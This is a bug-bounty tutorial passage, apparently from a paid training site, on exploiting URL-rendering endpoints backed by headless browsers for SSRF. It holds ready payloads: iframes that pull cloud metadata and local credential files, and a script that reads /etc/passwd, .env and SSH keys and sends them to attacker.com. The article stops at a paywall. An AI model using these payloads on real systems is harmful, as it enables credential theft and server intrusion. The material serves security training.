Advanced levelPremium

Headless browsers — SSRF and RCE in endpoints that render URLs

Endpoints that accept URLs for screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) are an SSRF goldmine: cloud metadata, file://, gopher://, JS injection with XSS-to-RCE in the chromium sandbox.

Gorka El BochiMay 11, 202614 min

Stop reading about bugs and start hunting them

No card · free Academy · cancel anytime

Create free account

Quick answer

Any endpoint that accepts a URL and returns a screenshot, PDF or preview is running a headless browser behind it. Those browsers are an SSRF goldmine: they read file://, reach cloud metadata (169.254.169.254), expose the Chrome DevTools Protocol on localhost:9222, and with --no-sandbox any XSS escalates to RCE. wkhtmltopdf is still exploitable in 2026 via CVE-2025-X. If you see features like "share preview", "export to PDF", "social card generator" → assume a headless browser and attack.


1. How to detect a headless browser behind it

Endpoint featureTypical technology
"Generate PDF from URL"wkhtmltopdf, Puppeteer + chromium, Playwright
"Take screenshot"Puppeteer, Playwright, Selenium
"Preview link" (sharing cards)Puppeteer + ogp-parser
"Email rich preview"Puppeteer headless
"OG image generator"Satori, Puppeteer, Playwright
"Crawler / SEO check"Puppeteer + custom

Indirect fingerprint

bash
# Render time alto en una request que devuelve PDF/PNG
time curl -X POST https://target.com/api/render \
  -d '{"url": "https://example.com"}' \
  -H "Content-Type: application/json"
# real    0m4.523s ← típico de headless render

# User-Agent del fetch interno suele ser HeadlessChrome
# Setup un listener y ver qué pega
nc -lvp 8080
# (apuntar el render hacia tu listener y ver UA)
# User-Agent: Mozilla/5.0 (...) HeadlessChrome/120.0.0.0

2. Classic SSRF vectors

2.1 Cloud metadata (AWS / GCP / Azure)

html
<!-- HTML servido al render -->
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>

You point the render at https://attacker.com/exploit.html. The browser loads the iframe → the metadata response ends up visible in the resulting screenshot/PDF.

Variants per cloud:

CloudURL
AWShttp://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2Requires a PUT with a token, rarer but possible via fetch()
GCPhttp://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google)
Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01 (header Metadata: true)
Alibabahttp://100.100.100.200/latest/meta-data/

2.2 file:// — local filesystem read

If the browser doesn't have the --disable-features=NetworkService flag set correctly:

html
<iframe src="file:///etc/passwd" width="1000" height="1000"></iframe>
<iframe src="file:///app/.env" width="1000" height="1000"></iframe>
<iframe src="file:///root/.aws/credentials" width="1000" height="1000"></iframe>
<iframe src="file:///proc/self/environ" width="1000" height="1000"></iframe>

Directory listing trick:

html
<!-- Browsers auto-generan listing para directorios -->
<iframe src="file:///app/" width="1000" height="1000"></iframe>
<iframe src="file:///root/" width="1000" height="1000"></iframe>

2.3 Firefox file:// same-origin bypass

Playwright + Firefox sets security.fileuri.strict_origin_policy=false. That allows a file:// document to fetch() other file://:

html
<script>
async function leak() {
  const files = ["/etc/passwd", "/app/.env", "/root/.ssh/id_rsa"];
  const data = {};
  for (const f of files) {
    try {
      data[f] = await fetch(`file://${f}`).then(r => r.text());
    } catch (e) {}
  }
  navigator.sendBeacon("https://attacker.com/leak", JSON.stringify(data));
}
leak();
</script>

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Headless Browsers Ssrf

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

4,183

hunters training

68

labs from real hacks

2,125

completions

$14,790

paid out for these bugs

6 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.